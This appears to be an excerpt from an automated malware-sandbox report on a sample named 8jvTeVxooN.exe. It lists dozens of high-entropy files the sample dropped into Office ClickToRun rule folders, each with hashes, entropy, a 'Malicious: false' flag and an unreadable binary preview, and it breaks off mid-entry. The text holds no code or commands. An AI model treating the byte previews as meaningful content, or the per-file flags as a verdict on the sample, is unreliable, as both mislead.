SHA-512:	CD46DC0C6D68AA3A720025FE81602D3514AF26D6BBF74FF545BCD0B5CC853E7391EC62027EC132CF6F4691CF355669DA4A55F826DC3E06648591191883A8E7EA
Malicious:	false
Preview:	<?xml..ZqLr_.._J..`....R..x.LC$,aM....K..........+.?..G..1v.....uyJY.6MLv..;..BH.:....K..D3L5.......y.o.%MV.r..^...96.u...c...!^.....X2ss.?~y..g.K6..K1Q..<..$J.e?o...\|....w....K...4..eZG.qv:.G77`z1.q.....g...H..(...)...0..W.A.q^r]u...1..{d.@!......bV0.b.....Y.l.[v...Q.p.i...L...E"e2\|./l.`..e..".\8L.....-..n.%..y87...W..c<k.C$.....S.y.....w.)!pj...<.=:L.V=...&.=.E.i....0.?.{..X..H......_..d.n...:...B@.....Z.%..GP.q....T.;cr.8..f..j.5.._..A.....BX.)...s.5.[u.;x...3.$.....`......[$.N....).6`.>b..#J.u.`.......G...{...y..~F..p..=.Gp....@.z\...1....m..m4.x.:...=....!dh.{.F..`^.....3x.N..\|f....=..h..?..T..\|...F..?..z.<.......t...S...P6>..3......X.L...;......s..zRz...[...`R.:.......~.jP......^......4.=.....7YO.H..MM..yN9."....U...2..\|..O..*!{...7i.4.6...;..L... WD.....D.z....9.l8...4.Qi..L}..\.....5...R.\|;....)1s?.5u#..j..9j....s.....).T.........^..(.A...8..`..B..........q._......A.:...X.4.sx!..K.Lc.X.&h.1...#.G..c...-x.E5xv........6.7,I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.878659080526803
Encrypted:	false
SSDEEP:	48:DwO0U9DVAEn4cV66h3FqrS24IjKTFjrwAcNaD:MO0UtVC1SEb5+Fj0G
MD5:	C3D8DA736A2333CDF99AD4AA813CE177
SHA1:	11F0D1C1C34F6715E072AFF2193D693020FB8033
SHA-256:	FB4785FE4360EBE9C4CCF1746014A82470DA2B1D4872DB4B03240446FA3F9FC5
SHA-512:	70D2FEE9E44579F42EBD489165772F47504DCE3BEA4EACF14FB2A14FE11D03AF7685D03F1C7E9CAF24C25C467BEAE6FC9470AE10E7E91E54522591AE9FCD477E
Malicious:	false
Preview:	<?xml.... ..PAs.z...........b.wC..].m.....A..ih.(Z`!.J...3$.A.t....M..4..~s}U.....E.i....?.....2..w..E\.G.............+bsF.;=&s....yq.^+p.$.=...~Y...gg......d.....6......i...YXquwu...6}...Z......SQ!H..t....T..........TO...m.K.&......g.X^..Q..`.c\%jf.>.>1.,....\e.......!Ls.rk;...p/y....0Z.....Y%5..-.A.Q.\|.R..s..= ..k..@..BJK.s9d...d.....'@...ox.,.)..O.....:!.....DLp."....$.@..xAV..........]B.K.....A......`../]....v.......^<q...w.J.....4.....Zu_...U....G................d.d....G.D....q........i.RI.=;Uo...}Z.&.e%.[.\|H.9........q#..r.. 1..Ar..:s.<&....g..}.H.XV.........O}!.d7$c.......h...9.phxO....?[.....@...........r4.!..m.<........>4.r. ..p..f'..0r..eu...U...i..O..2.Q.?'.....;.A&zT...w.d.]h? .\../..N...'.P.".)@..QE.6..9..E._.*m.<~.../.....9.B..1..f.....e.\.rG<x]..V.N.d 9.]. ....&O...pbq,{/..Q.\.m...?@....T.....6....ns.....F....v....;[.7g.m....E..>nk..r.D{...v......7.qV..}.....C..[g.S..........(h..l.m.g.....[...v`... :.z.g9....%"./KC)..bZ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.881465268155221
Encrypted:	false
SSDEEP:	24:KpGO2X0bdogz/oxgHX6BKd5um3v+0B8QssGMzvjYVKHHuAJHIjHy0ctV2cGAz7mI:KpQcas/wgHqBgc+EQs8vjYEuAJeSPzVD
MD5:	82BDDB349E12D800438290DAC3C9E88A
SHA1:	488C6132884AB20BB189CCB2A3A9BA9CC2E71F8C
SHA-256:	A71711C1C52B5749E70351DDBCBDFF8F80BF0E9C555A1149F3E69239970CAC72
SHA-512:	A4D04DC6D02CECC7D3DFC05EAE26518DD5C8AED28370C38ED151A9202765C371DF52B04B9177EE57FBA92DC8348E4816791068F1E82E538BE78677B5B349FC08
Malicious:	false
Preview:	<?xml...........0.....4..Dg.p....k....<...U...P..s.u.b.r..7t..\|....[....8.."3....q....fC..)....0....!...e....\|&......a_....6...A....T.....b...m......dS..l.A;.)R.....<.R..Oxav.p#..X}O6.y.O:...Tu....'&ACF.......#j...9b...I.#....5...).T......%^R..."...2'..%}3`..1Z..........P...$..[..V...h....L.....;z..M:..Nz..g.RL.. 5z..vN..AXR.:f.YUqE.....)rA....H,..Ba>.H,d..?.d.3.[<...%.S.6t.w.A>..V.^...k~.=.;..m.^...8\|..q...Qm.s...$....Cb{...u.$.1.-u..:J.~.Fie.Y...i..j...0.`oO.J....)f.e.)..s...0.bZ...tDi_...%...M..C...5S.!Uy..m......#..!".N.....X.#>...nDmXr..&.Cn...=......G..--....%...4.c....o...;..g....bpZs-C......[.}u.".`5..P.<+.5..1...-.?J.......%....#:.&g:..8...1W..\|....~c..n..[.l.H...e......Lb..d.`$.......'.......T.2....."l.........%./.E.k..K...7M..w.kd,.f.;.V.DL.yUNX..x...q..zmj....kfjY...~...J...6.i..j.f.?.``.......;lO.uFn#f....t.....\|.....>.}UG...0.K.g...f...#.z..O...88.....R5.b.\|Mlb..4............b.\.....N.D......J1..@4;....<.......FdSTF...p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.892075367126742
Encrypted:	false
SSDEEP:	24:Ovq2PmZoo7Ng25ybkr+m/mST4g//gFSAaqsbuJiayFwY0Incf2jwp405qDKSObD:n3Rg25yE+me04g3vA7J18Dn7wp4ArD
MD5:	1B2DB02D46438D2B1B2EAD1E08864B58
SHA1:	EA07A2BCE5BF4D5A7BF204B9A05DE69426DE8363
SHA-256:	D8448EE147A38729B463E2EA11D62CCC2CB5E9DA7F7871200FA9214B897FE6BC
SHA-512:	976BB9D0BAB06E16079E8BB680D40AFF9E8C030E90E015E060D87B1DF754AC018EB78DC4B92524DFFA9DD1E69C3FD7DA79A216C770F7776A60F101009F84D529
Malicious:	false
Preview:	<?xml...;.............~6O.}.e.....u. .Sf.6z{..M.\|......6.T.....I.s.%...Z.../......4.3.{z.........k...rl8..%..c_.u'......]V....\|.>....z.tf....W.&....k....S...g.....t..i..]?.4..!].}..:...1"..7..t2...\.f......s#..<."..<.`^.@I\.X...4..0...!,.oM...])<...K<,.{2....g..;`..o&.+<..DK.Zx..q./..R.Z.b.0..?.K...5....n.Z..Z.<.tL..Q<.QB.....j../.....dpX.........2.....+..{i.E_.=..l;..8r.s3..R...E#V..B...#.M...w......m.%....9U..VD_.............d. .~.M.....#......P.b..R.....6b..........[t..1u@...........[E.'...c..F......_.........-....?.]..(..$y'.....<....Y..KPR.h..Y...v.y..b..dA............d.1S,r..6.....+.HXT-.$.S..ny..:U^....T.};n.\.\._...p.H........%.../.3G..R..7%.yNr...Z.]!.R..=...5..d4....P{..#....Yh....4..$&...a......Q.Q...u...I..^.^K..45....IX*#..i...s...q..5.....p....p6.#.J#.Q...._../#.(.a#c/...F.KI.t.H..{..C\|.\...I.]L..q1D.~..cK..6.e......&...(...f...)..X_....-.YB.}.....(.UZ.\DD...E<]m....nuFb.=.)[6......0......r\B._x...}....X..Q..W.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.9106895057769995
Encrypted:	false
SSDEEP:	48:mx3TB7Q8v0mg+AQ9AfUa1FQtlF9W5N2v65HRFD:mx3TBk8Xg+AQ8UdbbDK
MD5:	056656C63D68D248AE3A2B6E482E21BF
SHA1:	0D3A31E133E2F97ACE2F15D83595B0D199E92617
SHA-256:	8E8E27BD5AEDB3D7C704A3F8801C387851454AF0E2A5DC0058813FA382EFE59F
SHA-512:	BBC5A8FFAA5DA4C8F00C27CFABEB3540E6E64ACFE32ECE91186A32ECA79989785CBF01B0E8F698E65FA3D871FF5D0B5F010112222BA990CDA3F5DF9009DFD2CE
Malicious:	false
Preview:	<?xml..I...^.u)..kY..\...5}...:.!....Z.f^jz..9..)..k\|3'..{3....V{......J.I....)F{...&...L7...d.. .e`#...)...`a.>.<..Dd.m..aY.\|.e\|p..8...\+.....h....X.e@.u.F.vq@U......3..p:.-..UU.+..w.i..?.$.hs.DP..e!B..SlO....MXS.t....23q.N..`U..Jo.<S.. .r..IO......-.....F.\.]..o..70c.!f...X..9o....?.T.....<tY..J..........+K....h.....i..~.......(....eK.%}.q..`!..t]....AJ...Z.k..UT..\|RH.H..n,1<.t.;g#...u..Z{M........Akf.-WN(.H..:Yppl.......Q>.!..:d...H.!l.1..jd..p........2.....n<...T.a~.)...........'...&g.M.a...<.K..7.3..YVR.....Cm.w.....v/.......+..Y.....7vcGr.$;5.........+.;.NFJ..\|..S/.g..=...'vc..@..# ....B..z..M>^....a.8..t.iB.....+U.>.h.1....B8X..h.....)..8....6.D...v.h.P......o._.P.....L.;[&.'.}..7..g...s...x8q..............>F.p..h'%..[..L.....'.....O.$.W.]......P...QG..b...?...3..P[.E:CR..x....W..\|9.~oe.....,...Jr.>P:...mH..u..R.e..v..]..z......^...j...N.S..OB....{.v.l...].0.g...K..8....H..pI.8......J..cP....s..1..........2@O..]0....w.J....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.864587940491675
Encrypted:	false
SSDEEP:	24:Grq8sW0DokGOoWBtO9ZW2FCTUkDOtEroVJzoslpkXgMOfWt+Fr3ajObD:GY/FdoWaZW24UrtErP8kwRNrKYD
MD5:	C6DC7C67BE79494DAD93FBC6F6A94E6C
SHA1:	F9DE4619D63A6C23CD5D7C20E91CAB63EC821564
SHA-256:	52ADB45959FED500EE4F4AF27ADFA6CCDC969563569446A1C8C03CE573F2EB20
SHA-512:	DF28689158062CDD65BCAD6D2CF548FD884B655107ED140AA00D764943EF20CF7274C14BB386D6A5D5EF9F2740EC14843646F4414C5C97A91A1C4EDD970FB3BB
Malicious:	false
Preview:	<?xml... ...7P[%.4k... ..K.j..10.(.O...Qa....e....\|.......Zt..)\|8..}....0r.4.v./.w..Bf.?i..\|%+....&.R%.x.D.....'1...l.F.T.2..1.YJ8M.y..Hm....M G.s....oi...C.)sr!..t........U?.p......7.P..M".......W.q../.P....`..!..P.U.PP...Pv.....Z.lz.[].....].....`C..q$.#.Bt...ab\......H9..........v.T.R../D...9${.x+ B.....08......4..u!.i."....f...o]..3...d..Z.e.......4.thIBzX.5.q8-a......"z....h...g..,WTXf..#C.-..R(..)L...G.$.A}E...V.'.5....X8.X.....J..x.%z..\|Y ....A!.Ap...%r^H.....^8....E._I.)6..;h.`..d..C2v.T.....#..r.M..Ehq.-.....2I<W.. ...J...y.-eS...v.!H..=....\|...MHe.U...`....qg.61.......)..eUP..M-.....4...........SM..,.'.......<.}.`u.g'.........?0,)....Y.I......7A.....Z..<.~iy....e..CFd\|..Hs.6.F.=.... .HO.".+.(.l.2.>.#Y..Q.b.....6.d%.8kM<..n{..f..5a..mC.F....Q...8d..+.z.T:.. .H.I..R...)..T..I...gV6..lu.......!4;Ex...........@...G..d.....D..,..]...Q..TC...o.}.-..6.5!6.w..*rH....0..?\.".gD.........}u."./;9..g.DM..q......T...8\CL.W........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8718784240142545
Encrypted:	false
SSDEEP:	24:NnQWehCVRJ7c+LuS9VkSlFNR3ODxZ16q8h5GeChaHt7sHgVzFU69tObD:V6hWRh+4k+NtKNr8G9MHt7mgfSD
MD5:	96F8A024DE09E3F29F77878022A33741
SHA1:	69E70BD8744F6FE7CD6A8C83E49903BC3615B8CD
SHA-256:	6B8B35FE474A68A444429059B2EAB784B6D7F1FD7EF7E66FEE98A85D96E955C7
SHA-512:	83AA85CA8C348C433AD43E4764D0A4E07C671813FEE73805CCB17BE3D3A4996BB8F0D453CC09898E16423CC290B488B9E9B1BEE2C35D45E576B98767022D77E0
Malicious:	false
Preview:	<?xmlb\...D1.p\|a...f.{......VQ..p.\...ip..... .4J. .>q....an....G...a...ALU..JG...X...d..`zB.g).=....2....;..T..%(Z6..R.....).x......r.04.w...E(..d.../: t{.N..h.t[...x.K..........B.g.7V...y.....`.S0F.,O2.&?.k... .+&=x}..r4........ZJ.....`-...i........,.\|f...3.S......4..8....f.Y+.;/.-.v.=....M.\..c...6?....I...D....=j...2.}..V.)>\.z...r...D....".CL[....1W~..9..x...".....E5....I.^.n..LYn?.....P.....z.).'.u%........t..."...> ....~...a.. ..).._p..b..O...........7...?.H... rV. ...I.......-...!$L{w....!.jt>$.....H.^Dm..C.}....F....%Z...0.qV<L.09.\.DF....H......U...........S...XEc.(..W7sK.n..NjD`..3SX"...}'...._bE.. ....n....a!>.c.........x.qm..l.....Md.0../..?V...8....R...#9..s....K..g5.K_Z.vD....q.-.Q..x.'(`..]..qS.S..F.5..... ...&7.iH...._.9..,j...;hf..;.?z.g2.....w..Z.Sw)....z......f.r.`.}f.gr....U..........z....ae...`.j....E3.y..u....c .t....M5.9..$..>..Sp....R..}.9...$..Z&..=GyQ.. .......+.k.~./...V.WH.c.I".u.[{..:.S...J..X...X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.873714306438419
Encrypted:	false
SSDEEP:	48:Mxrxi3dnmQkLWTRgNnHYV+IXPv24Ity8zzqcdqctD:ciNnSFH47vS3q8V
MD5:	718317EE9F993FEA6F821517DEAEF104
SHA1:	7A20209FFD9BFECB9CDBA4ADA01378D0935460E6
SHA-256:	E4F3AE58371434357F67EB16F6253642A3ED2B92A8B6CF77DC86C487D14C910F
SHA-512:	57F86606A255F8331969495C9826C19B3D7E6BD8320B15B6813175F388A6B98FFAEC606BEAE737CAE68365F11BAAB1DD5E4946008C2AE8423D662C57E769B529
Malicious:	false
Preview:	<?xml.T.+....&.g'...Yq.tt`.Z....P.x.....^......>:......m).b........)...-.U<......q.Q.y.[..a..To4y.j.....#...^WbSV.....@.A.h(.l4..........._...@.t.....o.....i..8.-.UM.\|..Hf....m.I.u.A.]....^$....._F.B..y..1.i.$d_.1l..b.C..2!......@.q:tR..?..<'.r.J\|2.A..2.^..4}.......m...M....9..........r..?.C...&ca&...OUuK.6a....$....^H..l..1.$.&......Ga.N.T;.%.:..^Vv.8.u...2...H .A.z;..&8.K.s8<!..ZM.7....?./.1..z.K1..m.})!7.7L..'j.{..."......Y....K.!.Gj...S..Q...x...I.7.P.l..U.H.4:BGk....._).+H.h.e.9,.6.U.~..B95.3.56.h"L4q..H>..o...w...k.<......mfF.y.B5].e....c.8...M.^Y.n..4wS.IT.O..?6..c8V....f...KU..!.M.....lf.)K......'...T.z..".......7.......,....RL ~C.K..~6.5'a.......0~.WO.....b^{..cxU.Y'....)]N.....de9.4r.G.lq.....)..r.....\......4......T..*....P....:...1.O.%r..2.~.]...Z.....czx..~.o.A).}.t>.Q>...b.!.../w.....=..y.7]i(...V..Y..Y..9.....E..."o......6..:...3..Z$.Z.~....8..k?.QC..F..+z..jx_Eo..be.....\|.{i....z..j..0..ZgMV(..&Fp/`..].n.9.....8g...4..SsfDlL9XRn.@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.879942692401536
Encrypted:	false
SSDEEP:	48:oaRu8hcv+exR15fqmwmznH3UFJhvqEnp2wDwssD:oaRuN+WRIUHKrJMwDVI
MD5:	AD7ABE74F961104E1DB12795FC400F5E
SHA1:	D8E493C0DC425C3EB3F551FCED19AD7D42ECCA1C
SHA-256:	B4A131BEDFAD33A93A8B6457EC40249B521759089DF31DACE352D6422C9F8C11
SHA-512:	105723144DC8AF5C842E7334A80781CC6DE06BFAA0A7BD24C35276D8DB5A22529325AA38AD4898797B029DCEC1F95518FA6CAA422641C5E2E8C2F64CEA883C7C
Malicious:	false
Preview:	<?xmlv+..l>.Ss.Xt.6...j\4..+f.....d.....V.r?.e .E.C.3?.y.^K..q.E...v8Vx%_...&-..i(.X..t7...S..vz..B..yr.h.y.$.I....J..`..m.l.R........G/..LP......w...F.?.q...V.o...;)....H...N.+;....r.P...!...p..Q...~..X.........th..n.t.......(i.^_B[...O.v{\|..m#.....,.F.)....V..o...FG*....6t.p.e.....HgTTQ._=.a.........'G2.,9UKA.....Q.o.>.. r...P.i.>5,...gy......Z.iv...Y.<..W........F......j..&..b.&!......A.O.4v..}7.4.~..8!1.....^.........f\....X.t...m.nI.....73..f.....S..j..khi..U....o.1.j..x...C..1gv......;..O.h=..z..X...km.@..`A..F.%`..U.)...R....`1....D..A..b....B.Q8x...G6..(.7....?..}.z.\............./.\|vng.G.".....`.=U.l.^o`.A.......7.6...@...c.t..a>J...H>..Q.....V I5?.....>k..B.]...A/.1.....[..u.9_.n .g..j..B.S.I..X...OP.....;.....P.]-..).h...#+....j7-!.&......KVl.4....B.........u.o.d+.t"....I`./..X"..>.dn\|...'\|.....1.....=.@.m.ai...N.S.....X...z..f.......:..]..mU....u..u$.%v...s.......P...NsN./..Z[......$j.....`U.GG.F...N....^~..k.R....`..i......+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.8778573723346135
Encrypted:	false
SSDEEP:	48:uQtrutxHX2WFdqTjd4LZZd3fXhoWAk25FmyHArdKgD:LFqBdqTZ4F/L2rtArd/
MD5:	42CE0269F8AD3C3C79E584FD21A09702
SHA1:	8930E4B066E441038C1C78E2771576631E152B2B
SHA-256:	D53AE2235B732E9402A13DAF7316BAB9A389B4B20CD550AEF12E0A511AB7FD09
SHA-512:	B5A81E6283D75468E9066745362EA742E409E70293F2BDB2DD116CD887877839508E5E66F1CFFDA39D1D29560762276644B3B9277A0EA8026CDE620E19831972
Malicious:	false
Preview:	<?xmlf.b.-_.....V....C.pvA.h...3Z......D".qP.M./.[..a.........kG.z....$K1.\|.......1..QL'.1.%,#..0. ..+&..4....0O,.^.AID9T.......d.....v.1..$.....6.4A.....F.......D.......Q:...a......I.wx.[.....M..h...Ka...m...hu=.U7......6;c...+^...y. DF.....14 .S....Av..../.Kk....Jk.P.u`].....V)..eRa..Y.,.\|wT.W..)....f.P_....T.../.......^....r.....3...Q]..07._N..3D.....m..}...e@;].P..W.+.LYQ_.YI.L.u.C.._F..Wp."g.J..Y7....E9..TX..j<.`.5O.b6.g.;.~.9u...[t.p..j .._....p.....h.......u.dw.b.l!.0s.\.h....Y...c...\.....j....\|.ArPJ../...0K.;...E......#....1.c.3....,u...\|....y.&.W...x..E..........!$.~....5.x;=.b_.......rv....F.............sWh$.f ....4.5.....Z..%%R..m..n./..cy....._....B'O.A.............Q.q...yZd.X...W.wK...7#.....V5...@.s.h.C+@..&A&...._.br.g5.7..C0s.4..~.M.:.\....<"..........u.....(......KB.....`..PML.38.....L...."..KC..z.._....,......^.d.l..D..../k.....j.D.!G.E..5....../....$.......p.T...sG......S.C...'.....L...B.....Y.8....{.W%%...UW7...A....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.886964755068368
Encrypted:	false
SSDEEP:	48:VHohWwICNjovZnxWx4OPJs6sJelUQ0TSPcwHmrwZD:VHIzIMOAs6sJqO6cwHmrwR
MD5:	E47159E93FE9B1B56BD6E9BBBD6BBFE6
SHA1:	F66E1A60315C4476136733133935E9BDA75589EF
SHA-256:	531D42994B1E1644471359EEB28243187DA655D1C55F9136D15954C8250C680B
SHA-512:	24AD18C4977919A6915B1CCD46B282EE031CF0CEB92DCA903B896C7B515C0A43CA3F639CE1618FCD6F28FD93E718976889133D8F8D2F152EDF02552A60699155
Malicious:	false
Preview:	<?xml........K..2.~UW..V.........p/.m]...<...../.W../5.-.1v.Q.-KT...-@...9o.<Ug...P..}y......1.O...c).Cq.;m,.....p...!.2.[..'.\....,.........lC..]..{..x...i.Z..1..&9Z-.).d(....'..vI.d.3I..c.0.'.!(.9. ..,..]....T..-.....?(8.+.y..0.Hp.$...5..jn...q..L...$.Z1feN...[.{..uZ=Y..L!..'p..V........2.....wk.J.."....m.I.=..:M.(......Xy..'g4.~O.uL......C.n.a\s=r+.k'c9.{...~.p.l.&....#<..8.n".}....48g...[Z.'.m}4(.t.K/zCV.1y..C .aWS6..e.-....W.Q..wu.......w...;.....9...5.Su.H.....K......n/...I~.;[....{mn....K<&.:.. ({......\.. .99j.......9..M..-..,..<0..dG..j.PaT$..$yT./.......Q.._.`...,ib..;....&&bb...:...k.y3:..S.a.....FeZGx.p.!..q......3....7.......)..).T...?A#.c..Q.J..?.@].sSHX..`.H.uV..9. S....I..f@..&h.+@..twowuU...M{...&.x3.h...=/.....DB......".......3.....=..B.0..;...U.>.}.O.J..&.f,6.s ..<G..x..2r..w....+........:.......=.z..bF.(.l.D.s...".D..G...BHa{[G.~.m\|.&U......;.....=.x...".....$H8......x.fY[v.....S..`.D..c.......T.;j..]z.Lr7F8].K...}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.862395345170907
Encrypted:	false
SSDEEP:	48:A3WuyYc8Aqt2sCCcw0aVTkn6fa258W/OF/rDKD:2FyYc8btlCCzRta25p/OFHC
MD5:	D9AA106A0E0EBD49D4A364ABA6773530
SHA1:	F8FF8E0E6602DADB3589470D7DD34E1B9C10693A
SHA-256:	C8F6A6F923E4557CA34DECDDB1BC1023F2A3F879C581A324B64EB19180BF1737
SHA-512:	3DD85855AB5BDD192EBC9A8171FDD7BB55BF2B5E5F84B0888C5541F4065D59D9E11C1DA86E54F65378312E38C6604AA44E08AA14EE2F41172271E984CA672275
Malicious:	false
Preview:	<?xml}.U._.6.n.4U3z..=.........GvT...S~%...(.Q.6..w..F.dX1.Ut........5.r:.../p.!..d./../_.r......X.....0.R.K...y.M..z..L.4..@.$c.]..^..T..l\...I.\|9........Y6....'+.&..@.... ..v]Z6....0..w..A..q#.Q.z..n.t.w.<..R..:I[. .i..^.L.;..clO.\&j.#"iX+v.....(^..x%..X6..`.Ni.PJ....B.... .\|.j..R.'U='.+.....0Q..9r....ni..Q.r.+....C.V8.5....pPs..._E....on.)_T{vY*K.."...7.{.7...y<..L....dZu.W.r..e.e.9..'.jJ.^gv..].`.....x..".W.....yj..[...6.gU..N..'...... \T.....M....cA..X/..@>.>.v..o.6...Sj.r.).f.5;... ..B._.}..........{.O...)"Q!..R.....[....6...L...$....0.E>.Qs.....Ql...%.k..FW.\|0pH...s..........N..4....9:..1../.F..C..i..g....9...!`p.a....3......H............x.5\|.tR..t-..V.v.?..DI...b.. \|..6. f.Ie..tP..OX..w..F...z....5s.f.._......M....Kv.7I..j.r..(e.>.8cW...W...E.S..GT.b.o.=z.Sg.K.n....tJ+...EaX...N.".7.>..b...76..."..;..b.ZA.......X../.k......+c.}tyWh..J...kQ2.P...fG...4i...[.`...F....sR.i/.7..C.A..Jt<.j..>...MU.@./b....."....F.>.s...+3.3._,.i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5127409507821
Encrypted:	false
SSDEEP:	3072:7hSCsoG+smDUgoSR9Talrma/cVck4fxH9WTlbA8NOYStFEtD5RxcRI:tSCsoG+smD1/8lrJ0K9xQTlqYSLEHoI
MD5:	6EF6C62709ECE85568178D56870BE24B
SHA1:	390B65FD9725BAEA7E02B6AF0FD39DC1DED33481
SHA-256:	80A159CE9F159BA81EB071BD73ACED08A673225FF35998A19060264B45DEEBCA
SHA-512:	38AA551275FB5E2C06B786B2FE82346604CC2B046E57869F91E91CC362DA4E0E69ABEF8F2D5C436B583B8BEE6AEF391C267D121736111115D43F4E84F90C8AB2
Malicious:	false
Preview:	<Rule.O~w..RN0.Q....#....s......k..l.}mm.....y..BN.....jTB...,.....<..3.R.L6...3....N.)..S....Zi}......S._.N"........A......t=.K.@o..J.#!a.@hx..>....)../...@...5.R....H....E...p......M.zK..u.H4..T....M..L..ne..F......&..{.u.fyY(..$.yT...k...&m.D#..H..h....<ZvQf."=3c.%.....H].5...p.oB.~...ur..\..._.to.r.......j....dv...A.z..[<.d..el.......Wl..#.{O...1...b....UM..l....d.....p......k..{.7....eO.)..\........tCM.gm.R".......$)...}.....q..G.S...KC ...KS82 ...G.............Z....w...Z~6..Al.;..@..\|@q#...dHM.VW(GV.......k.U... 1..A...b.{D...BB.@...../+..-\N..)h...o....{.,QK.Y.:K%..*...{...,8!..`../nG7...M=u....w.qG+d..".....TjT.?....B.R..@x..H....)c..6[x.(.h..V.....^l...N....\$.c%.Bd....:vxe.^.A...b'..a...!...w[.<W...m.7..r..7W?.%.uM4n....."....di_~......i....y..\.s...V.\|....."G...P.p.o6>{..... .s.."!../W.r...n....1<......L=#..........G.v.... .#.l}.znC.i....B.2e-7E...`..U..\..$....w`..ON<...T...8s.w.nE..W_..,..~..f..].1h@.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.891503232231884
Encrypted:	false
SSDEEP:	48:EiXOV20vQRJXvph613LnEHK8bGqloUEUlwLD:LXSNQ1S3bsbGqfEX
MD5:	850E0DF1509B5B9812C13DD361A21FAB
SHA1:	A62F222CE4CAD82F4F81D1078F9A36CED3165E6A
SHA-256:	BD7F7020614CB7B6C4D0C0EA5B1E0DAFBCFBC3F9BBE22E39190F1A1D6B9500A9
SHA-512:	FE2022EB1A2FED1BA9233446C7784C35706237B23D4D6BB1768A4959C327CD5D5D867DEAD47E54CD0B48F33517228B0310ECDC2F986DC64B23F366C699A2B51C
Malicious:	false
Preview:	<?xmlK.(.t{.N.....F....]{.&...V...Y.U7....s-..~..b.....V".k.$........}..q>t..(.p..r:......$....9A#B7.^U....eN....`m.....$.......f...N}+:9.....X...pJ.?0.q..1..bD.1..?.'.e.\|.XR...?._%..Ft..V.d...&..b.A......yN.C.^i....C.tGX......;q..5eE.0..@H...;(...R.qm.S..f..8...(._x....?.7y...$v5.8.A.w..m.U.!q%.;"...pt./.X...b{....;}...s......,.27^.9%....2.....]....i..t.['..u.k....!?t<...X8K.....1..2..c....).P..v[9f....Xl<...........oF..C.f..I..4.N.I:5`.l..t.%..k..:.+z..M.J.....%?O......;.....`_.dF.......4?9K.z)..H...'b...].r...?jy..Tw...........uF.tMBb..ZPc;.&......,F...9n...'.._.`D'....D.(..~.q...R....x.....w..\B.:...e^.i..:5...W....TNt%..D'\...x.6+.9R.\..+5.C.....x.'....j.......S.;..q..?..I..x.1..A:...c}#O....... D<T.?R.iR.]..<..$y........$..R.L...EM..f#_...e>.U.Q.k..$..&...V...8....O....GZ..Iy..g0..P...9..x...../$..y~q../..........\f..>.P...!.%`C.V..^U{)..e.A..R3.....>.R..FJ....s...M.g..0..Y...........4.........X.>.f..d.Rj..o.g.:C..y..T.d...Bj]zu.j..9P.=.....#'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.859094522555251
Encrypted:	false
SSDEEP:	24:k9zzIaAYZO84rfpSjBZU3pI5VSA8ro7+nyLNIwHKOsPV53l1083lObD:k9zzIaNZO84DpSjBaiF8ro7nLNI0s9pO
MD5:	0535AE9E15A9E7FE5E3CE5C1E56FD6B4
SHA1:	CC0DB0878DBB627ADE00B68B115607382E114B6C
SHA-256:	95669AA98F908E6B1DEB838EF907D887BFBBB60BBE3C57B08A3CA6B724F5BFC0
SHA-512:	94E8591981819735BED776D8756D7D6055605250317C6BCF843BB4927F682F60720F0C353FE9B1707952F03EDD5D43FDFF18283F8AB45A227B02BF53394A50BF
Malicious:	false
